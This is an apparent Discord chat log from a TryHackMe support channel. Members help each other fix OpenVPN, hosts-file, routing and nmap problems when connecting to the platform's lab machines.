[eager fulcrum]

Not all rooms run webservers on port 80 so you should not use that as your check

[steel thorn]

Yeah it works

[eager fulcrum]

Ignore /access

[zinc nexus]

I also cannot ping or nmap the IP.

[steel thorn]

10.10.10.10 works alright

[eager fulcrum]

Not all machines respond to pings. Please tell us what the machine is

[zinc nexus]

And I have tried many different rooms, including many that I already completed and that I know have webservers.

[steel thorn]

I am using this Machine in my case: https://tryhackme.com/room/uploadvulns

I'll try using the kali attack box to make sure that the errors is from my workstation

but as you can see those are links accessed yesterday from the same Machine:

[true needle]

@steel thorn that is not a public DNS name, and you say yesterday... Is the IP different from yesterday?

[eager fulcrum]

Check your hosts file

Make sure there are not duplicate entries and make sure the IP is correct

[steel thorn]

It's very possible, didn't think about it

how do I check that?

[true needle]

open a bash do a ping command to the shell.uploadvuluns.thm something

[eager fulcrum]

The IP will be different each time you deploy it

[true needle]

It will give you an IP address.

[eager fulcrum]

No no no

More simple

[true needle]

Compare it to the IP address that's listed in the task section.

[eager fulcrum]

Fix it in your hosts file.

[steel thorn]

Attack box same

[eager fulcrum]

Just replace the old IP with the new one

[true needle]

Yeah it's def. your hosts file...

[eager fulcrum]

Needs to be in your hosts file on the attackbox too.

Please follow the steps that I asked you to.

[steel thorn]

Alright

Hosts file

/etc/hosts ?

[true needle]

@zinc nexus you wanted to type something about having issues with the openvpn, you regenerated the openvpn file, and you've opened it I assume and went to test it, did it work/what did you do/what did you get?

[eager fulcrum]

Yes.

[steel thorn]

I guess the Machine_IP is causing the problem?

[eager fulcrum]

Yes

[steel thorn]

even the 2nd one is not the same

as the new one

so delete both

[zinc nexus]

Here are a couple I tried in the last 5min:

• https://tryhackme.com/room/owasptop10
• https://tryhackme.com/room/authenticate
• https://tryhackme.com/room/webfundamentals
• https://tryhackme.com/room/owaspjuiceshop

[steel thorn]

replace the 2nd one with the new one?

[true needle]

I would leave one there and just change the IP address @steel thorn

[eager fulcrum]

I don't understand what you're saying but yes.
You should not have duplicate entries

[steel thorn]

Alright, thanks guys

[eager fulcrum]

Ok, many of those rooms have machines where the webservers are on other ports

authenticate is on a bunch of ports like 7777 and 8888

webfundamentals is 8081

[zinc nexus]

For authenticate, I used IP:8888

[zinc nexus]

Are there any rooms you know off hand that I can use to test?

[true needle]

Did you test the 10.10.10.10 in your browser with the VPN active?

James requested that before also. It should give you a flag

[eager fulcrum]

(Yes, they did)

[zinc nexus]

yes, it tells me I am connected and gives me the flag and my TryHackME VPN

[steel thorn]

Worked like a charm, thanks guys

[true needle]

OH sorry Didn't see that you also had the VPN working correctly between all the messages 😦

Too many people with the same colors XD

[steel thorn]

Since it would've taken me forever by myself, the hosts file basically keep the IP address of all those links and cache it ?

[zinc nexus]

If anyone is free, I can jump in a voice chat and share my screen? Maybe it will be obvious to someone with more experience? (Is my TryHackMe VPN something I should keep private or does it matter if I share it with others?)

[eager fulcrum]

The IP isn't too sensitive

[true needle]

No idea if it hurts if you give it away. As things change every time you connect except for the credentials so don't give the ovpn file away I guess XD

I can offer to take a look together in like 6 minutes, if james is too busy with stuff. But I can't guarantee I can help you fully as I am way less experienced than James is with all the rooms and stuff.

[zinc nexus]

No worries if you can't help! Another look is always appreciated. I'm pretty new to all this. I am free in 6min 🙂

I just tried the OWASP Juice Shop room again and it worked.... let me try the other rooms again...

[true needle]

Your hosts file isn't so much a cache file, as it isn't updated dynamically. The hosts file is something you can compare to your local DNS server on the machine itself. It will first look in the hosts file for an entry when you type in a DNS name, if it can't find it there, it will go to your DNS server IP that is configured in your networking adapter (which is most likely your ISP DNS server).

Some malware like to change the hosts file also to redirect traffic to malicious servers. In Windows the hosts file is in C:\windows\system32\drivers\etc, in Linux it's just in the /etc folder.

[zinc nexus]

I still cannot get into Authenticate room. It says "Error code: SSL_ERROR_RX_RECORD_TOO_LONG". So I am googling about certifications now.

[eager fulcrum]

Change the https:// to http://

[steel thorn]

Interesting, thanks for the explanation, I am glad I had this problem

https by default is becoming more common, I think it's a firefox thing

[zinc nexus]

Sorry for the headaches all 😅

That is the piece of understanding I was missing.

[eager fulcrum]

Can I ask if it was the same error all along?

The most valuable lesson here would be providing screenshots of errors or error messages alongside the context, IMO

[zinc nexus]

No it wasn't. It usually just said the page was unable to load. I think that may have come up once this morning, but not any of the other 25+ times I tried!

guys i have a basic question

The date I see on the virtual machine and the date I see on my host computer do not match. today's recording does not appear when I log in to my virtual machine

why?

this is from my host machine

[patent lark]

Did you try to clear the browser cache in the virtual machine?

[civic sinew]

yes i also tried to check on another web browser

so weird

[haughty glacier]

is your time zone / country correct on the website?

[civic sinew]

how can i check timezone on tryhackme?

[haughty glacier]

it would be set by what country you have showing I think

[civic sinew]

oh yes it's correct

also my virtual machine date time zone is same with my own pc

[haughty glacier]

hmm not sure then sorry 😭

[civic sinew]

i can't understand

[patent lark]

that would not be the problem, the problem is that the information displayed on your computer and the virtual machine differs

[civic sinew]

yes

which one should I base on?

[haughty glacier]

oh I see

it sounds like your vm might have a cache issue like suggested

[civic sinew]

i'm trying to get 90 day badge (challange with myself) and i don't want to loose my points

hmm

[haughty glacier]

just keep the screenshots and if you are worried about your streak you can emial support but I don't think it's a big issue

[patent lark]

it has already been said that this chart is sometimes not reliable, if on your computer the browser shows the updated information then don't worry.

[civic sinew]

oh okay

understood

thanks a lot!

[patent lark]

I have just visited your profile, the activity is up to date, don't worry 👍

BufferOverFlowPrep: I have an issue with the rev shell only half connecting when using my own kali machine. I can use THM's Attack Box just fine (complete the exercise and get the rev shell). I can even netcat files back n forth from my machine to the Attack box. I just can't complete the final step (reverse shell connection) to my own machine. Is this a Python 2 vs Python 3 syntax issue in the exploit script? I notice the Attack Box only has Python 2.7 installed. My kali 2021.1 has Python 1,2&3. 10.10.10.10 verifies I'm connected and shows my vpn ip. The exploit code does not work with python3 - syntax errors galore. But python2 worked fine on THM's box, and ran the code on my machine- just couldn't get the connection back. https://tryhackme.com/room/bufferoverflowprep

Last year I tried to create a room which I never ended up doing because I ran into problems creating the machine.
I am working on one now and just saw that there are 3 uploads that I can not remove. Who should I reach out to so they can delete these?

[cedar raptor]

Hello!
I just have a problem with my connection.
Let me explain this:

• In AttackBox machine, I can access the machines and also use other websites like google, github, etc.
• In my Kali with VPN active I can access only the machines.

It is a setting that I'm missing or something else?
P.s: I just checked the routes and they are exactly the same in my vm like in AttackBox

Thank you for your time!

[eager fulcrum]

Can you show us your routing table please?

[eager fulcrum]

So I think the issue is that it's trying to route default over the VPN first?

The THM VPN configs shouldn't add that route

[cedar raptor]

Yeah, exactly

So I should move default to be the last one?

Yeah, you're right ... I will just google more about this problem

[naive dust]

this is the first ever message in this channel

[bronze vale]

Hey @naive dust I hope you didn't ping Skidy :c

[true needle]

I wonder how you even got it like that. I will admit that I always go into the openvpn profile and check the routing in there and uncheck one checkbox on parrot os. But that is more of an automatic thing from personal experience.

Might be that I have to do that because I've imported the openvpn profile into the network manager.

[livid mauve]

That. I got the same issue and have to "tick" an option in the route config of Network Manager (using Kali Linux)

Something like "use this connection only for resources of this network". Defeats the new default route

[true needle]

Yep that option... 😋

I always click that by default when importing a vpn config.

[wind mason]

Nevermind, I found that I have to email support because I signed up with my school email, but it's not verifying and still showing me $10.

A related question, am I fine to start without having Premium, or should I wait to start with?

#infosec-general please

[limber flame]

ok

[cedar raptor]

@true needle I just checked your idea and that option is unchecked by default.
I also tried to check it, but the problem is the same. Not working with both

[true needle]

Yeah I check that option always to force the connection to only use it when needed...

That must have been what was on my mind. Let me connect to the VPN and see my routing table.

default via 192.168.178.1 dev wlan0 proto dhcp metric 600
10.10.0.0/16 via 10.14.0.1 dev tun0 proto static metric 50
10.14.0.0/17 dev tun0 proto kernel scope link src 10.14.11.68 metric 50
192.168.178.0/24 dev wlan0 proto kernel scope link src 192.168.178.52 metric 600
192.168.178.1 dev wlan0 proto static scope link metric 600

So are you using Linux or Windows for the routing? Else you can easily fix it by adding a route to the table to make it so that only 10.10.0.0/16 go via the tunnel same with 10.14.0.0/17

[cedar raptor]

I rechecked everything and seems to work with the option ticked

[true needle]

Can you verify it with a route print? Just to make sure 😉

At least it isn't fubarring the default route it seems. So why not try to connect to 10.10.10.10 via your browser on http

[cedar raptor]

It is not connecting to http://10.10.10.10

But google, youtube, git, everything works including the ping to THM machine

[true needle]

If you've got a VPN you should be able to open that site though XD

[patent lark]

Networks uses a different configuration file than the THM VPN, you can see it in the Access section

[cedar raptor]

I don't have anything on 10.10.10.10, or I'm missing something?

[true needle]

Try it again, but this time with the checkbox off so as to use it for all resources.

You will lose internet I presume as in normal browsing capabilities.

[cedar raptor]

Hmm, neah, not working, it keeps loading to 10.10.10.10

But it's not working also without VPN active

I don't catch the point with the 10.10.10.10 :))

[true needle]

Might wanna redownload the VPN profile just to make sure. As I would expect that the site will work when you've got the VPN active.

if you've got vpn and you go to http://10.10.10.10 you'll get a site that verifies that your VPN is working correctly and you can access THM boxes.

[cedar raptor]

Let me redownload everything

Yeah, you're right.

connection_verified

Now everything seems to work without box checked... THM boxes, google, git

[true needle]

Ok, well that's the important thing (that it works). 🙂

[cedar raptor]

I really don't get it :))
I have access to HTB with checked and unchecked box.
But I have access to others only when it wants =))
I will test in depth this situation.
It worked, but after that it stopped working with other sites.

[true needle]

Also check if you're using the latest openvpn software just to make sure.

[cedar raptor]

I just updated to the latest version.
It seems that with your option checked it's working as I want (access google+HTB).
I will let it like that...

Thank you so much for your time!

[true needle]

No problem. As I thought that was the issue the first time. But didn't expect there to be some other wonky stuff that made it so that you had to redownload the vpn file.

[cedar raptor]

It seems to work also with the old vpn file, but that checkbox made it harder to get

I really don't know
I have this problem from the beginning but yesterday it drives me crazy so I asked here the question :))
So initial the box was unchecked, but didn't work on google(only on THM), after that I checked the box, the same, but after unchecking it's working.
Maybe a bug or something?

[true needle]

That or it might have not fully activated. It would only honor that box when connecting, so if your VPN was active at that time, it would already explain why it didn't work.

[cedar raptor]

Probably.
But it was active by default with the box unchecked, this is strange

Nevermind :)) Glad that it worked.
Thank you, again!

[halcyon kraken]

How long should a nmap -p- scan take inside a debian 10 VM?

Mine takes 15 minutes now...

[cedar raptor]

-p- takes a lot... Because it scan every port from 0-65535 ...

[haughty glacier]

can take quite a while

[cedar raptor]

Press space or enter and see the progress

[haughty glacier]

if you add -v (vv or vvv) to your command you can see the progress as it goes

[halcyon kraken]

Thanks! 🙂

[haughty glacier]

it takes even longer if you add other switches like -sV and -sC

though, only the normal amount longer those switches add because it only runs them on open ports

[cedar raptor]

But I still think that 15 minutes is a lot... But this depends on the network connection also

[halcyon kraken]

I got nmap -T4 -A -p- -v {target} now.

[cedar raptor]

The progress is increasing when you press space?

[halcyon kraken]

My upload speed is 2mb/s and download around 8mb/s lmoa

[cedar raptor]

Let it run a little bit, and if the progress is not increasing in few minutes, restart it. But first, let it run more. Maybe takes some time because of the internet

[halcyon kraken]

"Giving up on port because retransmission cap hit (6)"

SYN Stealth Scan Timing:

[true needle]

Also to speed up things, they advice to use the attackbox for nmap scans. As it's on the same network so it won't be depending on your own internet speed.

[halcyon kraken]

Ah, thats a good one. didn't think about that 🙂

Everyday I get 1 hour attackbox correct?

[true needle]

Free members indeed. But if you have a subscription it's longer to unlimited I think even.

Havent tested it past the 3 hours XD

[halcyon kraken]

Okay haha thank you.

[haughty glacier]

you could also do nmap scans and save the output when you are about to go do something else, and then work on the box another time or when you get back, maybe scan a few boxes in advance, if the time it takes is costing you productivity

or something like rustscan (there is a THM room for this) is very fast

Need help with VPN, have been working before. But now I can get connected, I have tried to download a new file and change server.

[livid vapor]

what error are you getting?

when was it last working?

[feral owl]

Yesterday

Sat May 22 00:04:20 2021 ERROR: Linux route add command failed: external program exited with error status: 2
Sat May 22 00:04:20 2021 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
Sat May 22 00:04:20 2021 Initialization Sequence Completed

[livid vapor]

just for a sanity check, do a ps aux | grep openvpn and see if anything is running

[eager fulcrum]

Fwiw, Linux route add command failed: external program exited with error status: 2 is usually a symptom of multivpn

RNETLINK: File exists is also something that shows up

[livid vapor]

THought so, but wasn't certain. Figured it couldn't hurt to verify active processes

[eager fulcrum]

When you've seen it a hundred or more times, it gets easy to identify 😉

[feral owl]

ok, seems like I have multiple vpn running

[livid vapor]

kill em all and restart one

bot plz

Learn how to look for duplicate instance of your OpenVPN connection.

• Step 1

Make sure you have setup your VPN connection correctly https://tryhackme.com/room/openvpn

• Step 2

Type ps aux | grep openvpn into your terminal and press enter

• Step 3

If there's more than one line (that don't start with "grep" or sudo), do the following steps

• Step 4

Type sudo killall openvpn into your terminal and press enter

• Step 5

Start the VPN with sudo openvpn <path-to-config>

Im having issues with the Brainstorm room. The chatserver executable crashes instantly when ran. I've tried win 7,8, and 10 vms both 32 and 64bit. When opened with Immunity Debugger, the executable just hangs. Any help?

[eager fulcrum]

This sounds more like a room-help issue.
Make sure you download everything from the FTP server in binary mode otherwise you'll get a corrupt executable

[vague plover]

ok, ill give that a shot, thanks

[wary oyster]

ok, ive been away awhile but when i left i got this error: tls handshake failed to occur within 60 seconds

i fully reinstalled kali

so could be to do with the settings of my openvpn?

[eager fulcrum]

Try a different VPN server

[wary oyster]

ill try that but i tried all this before and we couldnt find an answer

i worked through the whole shimmy mcjag with hydragyrum

[eager fulcrum]

Then your network is probably blocking it

[wary oyster]

i have seperated parents and its highly unlikely that its blocked at my moms, they arent tech savy at all

will try the other script 1 sex

sec*

[eager fulcrum]

It could be blocked at a bunch of different points

Countries like Egypt or China block it at a national level

[wary oyster]

im in the netherlands so country wide shouldnt be an issue

lol nvm the second script worked

thank god

saved me 3 days compared to the previous hassle

this is a technical question related to the VM Try Hack me

my VM Kali Linux TryHackme lag a lot

@eager fulcrum can you help me ?

[eager fulcrum]

Is it Kali deployed on tryhackme?

[crystal trellis]

yes

[eager fulcrum]

Try the attackbox.

[crystal trellis]

i am on the room burp

[eager fulcrum]

Ok.

[crystal trellis]

i need kali linux

[eager fulcrum]

Try the attackbox.

[eager fulcrum]

You do not.

The attackbox has all of the same tools installed.

[crystal trellis]

ok i try

but why is it lagging when I pay and I have the vip

[eager fulcrum]

The attackbox is more optimised.

If you are physically a long distance from Ireland, it will take longer for the packets to travel between you and the machine. It's physics.

[crystal trellis]

oh yes

i am in france

[eager fulcrum]

Again. Attackbox.

[crystal trellis]

ok

thanks

[eager fulcrum]

The Kali is not maintained as much, and the attackbox is literally designed around the TryHackMe remote access solution

Hey everyone! I'm having a bit of trouble when running my OpenVPN configuration file on a kali linux virtual box. Additionally, I get a 404 error when I try to download a new one from the tryhackme site. Can anyone offer assistance?

wait... I think I figured it out, however I still can't get a new configuration file. I'd like to use the US-West VPN servers and only have a configuration file for the EU-1 servers

[naive dust]

Hi I would suggest to try download a new from:

[bronze cargo]

I get a 404 error when trying to download a new configuration file from that URL - pops up saying the page was lost in the matrix with a darth vader image

[true needle]

Try selecting a different server, perhaps that'll help

Cool cool, I'll regenerate it and use the attack box for now, give it a little break lol

[true needle]

Make sure you've got certs and then ask a mod to give you the associated role.

oh sorry, but I mean the unethical action was happening right on this server, so ¯_(ツ)_/¯

[eager fulcrum]

No reason for you to post a token grabber here though.

[fair edge]

I felt it was reasonable to investigate how this works and whether it's a threat that we'd need to be concerned about (like a csrf)

Hey'o folks!

I have been struggeling getting into the "vulnversity" the last couple of weeks. I have finished half the room, but now it is stuck in a loading loop. Tried switching browser, and my wife can't load the page on her profile either. Other rooms works as normal. Any ideas?

Had the same problem with "Blue", but figured out a solution where I loaded the page from a "given" link. Not sure why it worked, but yeah

[eager fulcrum]

try replacing /room/ with /jr/

It's a platform bug ATM and I believe the staff are looking into it. There's a few workarounds.

[hallow hazel]

It switches back to /room/ and the same loop.
But if I saved the whole link with /jr/ and pressed, then it worked!

Thanks a bunch Ninja, you saved my day ❤️

Good to know that worked, happy hacking!

I work on the nmap-room from my local computer over VPN, but nmap doesn't find the host. Same namp-command in AttackBox works as suspected. I can ping 10.10.10.10 and I haven't noticed any issues with nmap before, it works with hosts on my local network. Can this be a VPN issue?

[eager fulcrum]

You cannot ping that machine if you're using the VPN

It's a windows machine, by default it blocks pings from public networks.
The VPN is treated as a public network, while the attackbox is treated a lil differently

[feral owl]

Yes, I know. I just tied to ping 10.10.10.10 to verify VPN-connection

[eager fulcrum]

Yes, but you can't ping the target machine.

Nmap tells you what to do if the machine is actually up.

[feral owl]

Nmap on local machine suggest me to try -Pn

[eager fulcrum]

Yes.

So try that.

How are you checking it?

Because it's the same VPN for all rooms (except networks). If it's working for one then it's working for all of them.

when i past the ip it gives all i get is this site cant be reached

Not all machines run a webserver like that

If you can access http://10.10.10.10 in your browser, then you're connected

i'm not getting any points from rooms...

[prisma zephyr]

Some rooms give points, some don't

[dark meadow]

that would explain a lot, thx

[wispy swift]

Thanks, but I tried it like 5 times, and from two different devices, doesn't work

[warm arch]

Is there a way for me to be able to copy/paste from outside the AttackBox to inside of it, and vice versa?

[eager fulcrum]

Yes. Use the menu on the left hand side

There's a button that will pull out a tray thing

[warm arch]

oh okay, didn't look there. Thank you!

[narrow pilot]

Hey all, for some reason I'm not able to make any contact with any of the target boxes I'm deploying on the site. Under the Access page indicates green check for both 'Server Status' and 'Connected'. I'm currently using the image of Kali from OffSec's website on vmwareplayer. Let me know if more details are needed! Thanks in advance

[eager fulcrum]

Ignore the access page

[narrow pilot]

Do I need to grab a new config for Open VPN every time I close my box?

[eager fulcrum]

Nope.

You can check your connection using http://10.10.10.10
It runs a webserver, and responds to pings

[narrow pilot]

So I don't get any response from this address but I do from stuff like google/youtube/etc

[eager fulcrum]

So you're not connected to the THM VPN

The THM VPN doesn't touch your internet connection

[narrow pilot]

hmm well that's good to know gonna have to figure out how to fix that

[eager fulcrum]

Connect to the VPN from the command line

[narrow pilot]

I ended up grabbing a new config out of superstition but this was all it was, thanks!

[ocean bloom]

Can I DM a mod regarding discord token? Low priority, but appreciate help.

[eager fulcrum]

You should be able to ask here?

[ocean bloom]

I need to have my discord token removed. I created a new THM account and would prefer to link that new account to my Discord.

[eager fulcrum]

Can you log in from that account and ask for your token to be removed please?

[ocean bloom]

Sorry if I made that confusing. I'd like to assign my new THM account's discord token to my current Discord account I'm using right here. The Bot won't verify since I have an existing associated token.

Or do I need to literally delete my original THM account?

[eager fulcrum]

Yeah. Please log in under that discord account and ask for your token to be removed there.

[flat halo]

hey guys

anyone using kali via wsl2 ?

[eager fulcrum]

https://sol.gfxile.net/dontask.html

[flat halo]

ninja just stay it straight

no need to show me your link

[eager fulcrum]

Just ask your question directly.

[flat halo]

and yea i know to 'just ask'

[eager fulcrum]

But you didn't.

[flat halo]

is kali-linux-default enough to have every tools that i might need ?

the metapackage

[eager fulcrum]

No

You install stuff as you need it

It's a good base.

[flat halo]

ok i'm installing it ty

[eager fulcrum]

In future, questions that aren't directly THM related (like this one), should go in #infosec-general

[flat halo]

ok i'm gonna go there as i have another question

[modest ocean]

#bot-commands

[sand needle]

Added time to the box I was working. It showed it added the hr but then with 1:05 mins left I got a popup that it was about to expire. It did expire and booted me out. I logged back in and now my 25 day streak is gone. Is that something a mod can help with or do I email THM admins? thx

[round fiber]

hey

[round fiber]

@livid vapor so at first it goes like this

i wait a few seconds and this happen

[livid vapor]

I'm not seeing the error in that, other than tls handshake failed

!vpnscript

[sharp bison]

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[livid vapor]

see if that helps at all

[round fiber]

it says did not find the config

[livid vapor]

download that file to the same directory as your vpn file

[round fiber]

now it says i am not connected to the internet although

i just downloaded it

[livid vapor]

did you download it from within the kali vm?

[round fiber]

yeah

[livid vapor]

the script just does a ping to 1.1.1.1 to check that.

[round fiber]

i pinged 1.1.1.1 and there is no problem

[livid vapor]

did you run the script using sudo?

[round fiber]

yeah

[livid vapor]

I'm not sure offhand

[round fiber]

my vbox settings for kali network is nat

and it says i have a wired connection

is that has to do with anything ?

[livid vapor]

no, my vm is also NAT, but wifi.

[round fiber]

maybe

that is the proplem

[livid vapor]

and you can access the 'net in the kali vm?

[round fiber]

i do not get a wifi

[livid vapor]

nah, wired connections work just as well

[round fiber]

connection

only wired

but i use a laptop and there is a wifi card in it

[livid vapor]

maybe try regenerating the vpn config, wait 2-3 minutes, then download it and try again?

[round fiber]

i did

does not work either

why does openvpn think that i do not have internet connection

[livid vapor]

i don't know :/

[round fiber]

and why it works on windows but not vbox

[livid vapor]

do a ps aux | grep openvpn in kali

[hybrid fossil]

hi guys

[livid vapor]

hello

[hybrid fossil]

can i ask something

[livid vapor]

yes

[hybrid fossil]

about X-Frame and Vulnerable JS library

[livid vapor]

that would be better for #infosec-general . This channel is just for technical support type issues

[hybrid fossil]

okayy

tyty

[hybrid fossil]

Where is it? I don't see that channel

[round fiber]

it gave the help

commands

[livid vapor]

Not sure what you mean by help commands. Screenshot please.

[round fiber]

the -help

[livid vapor]

Scroll up a bit, or just click the channel name

[round fiber]

the final line says

general standalone options

[livid vapor]

Screenshot please. I don't know what's happening on your system

[livid vapor]

Also, just as a heads up, I'll only be here a few more minutes

wrong command

ps aux | grep openvpn

note the grep 🙂

[round fiber]

sorry

[livid vapor]

okay, that's good

hm

and you're only running a single vpn, right? Nothing on the host?

[round fiber]

yes

i never used vpn before try hack me it makes my internet weaker

[livid vapor]

not weaker, but slower, maybe.

[round fiber]

yeah slower

[livid vapor]

I'm not sure what else to try at the moment

[round fiber]

ok man no problem

thanks for your time

[livid vapor]

you're welcome. Sorry I couldn't help you

[round fiber]

it is ok i took a lot of your time too

i will try the kali vbox

[livid vapor]

I thought you already were using a kali vbox?

[round fiber]

no i mean the pre installed

image

[livid vapor]

what are you using currently?

[round fiber]

iso

[livid vapor]

installed?

[round fiber]

yes

[livid vapor]

that's what mine is, and what lots of people use

so I doubt that is the problem

unless you did something really strange to the config of it

[round fiber]

i know i am just desperate

[livid vapor]

I hear ya

[round fiber]

i will try anything

[livid vapor]

another short term option is to use the attackbox

[round fiber]

i do use it but it closes

i have a free

account

[livid vapor]

yeah, I think non-subscribers are limited to 1hr a day

not sure

[balmy ginkgo]

Not really a tech support question but with the license the TryHackMe bot is under, if i copy code from a fork of it how am i supposed to provide credit?

[ocean junco]

I'm trying to complete Linux privesc room, but connecting to the box through ssh is extremely slow. While working on it, the ssh session with freeze and not accept any input and I have to force close the terminal window. I have tried changing ovpn servers.

Edit: turns out it might not be freezing on my end, but it running very slow. The cursor stops blinking, but If I let it sit, I see my input eventually catches up (after a long time)

[umbral flax]

Hi THM Staff & Team.
I'm trying to create a room and upload a VM to contribute to this great platform, but I'm having difficulty with the conversion process (it keeps failing despite meeting all the pre-reqs). Am I able to get a bit of support with this? 🙂

[neon viper]

so

[restive reef]

hm

[neon viper]

how to code

[restive reef]

you can learn cyber security from tryhackme website and to code there are a lot of crash course on youtube that teaches programming languages

[neon viper]

ok

what language

do you think is the best

[restive reef]

in my opinion, go for python, thats what i started with, the basics are not that complicated, and its good for beginners

[neon viper]

ok

in the url bar (new one)

i've done it

but nothing happened

[restive reef]

[neon viper]

[neon viper]

first thing it said was

[restive reef]

open the browser in the attack box and put it in the search bar and visit it

[neon viper]

[restive reef]
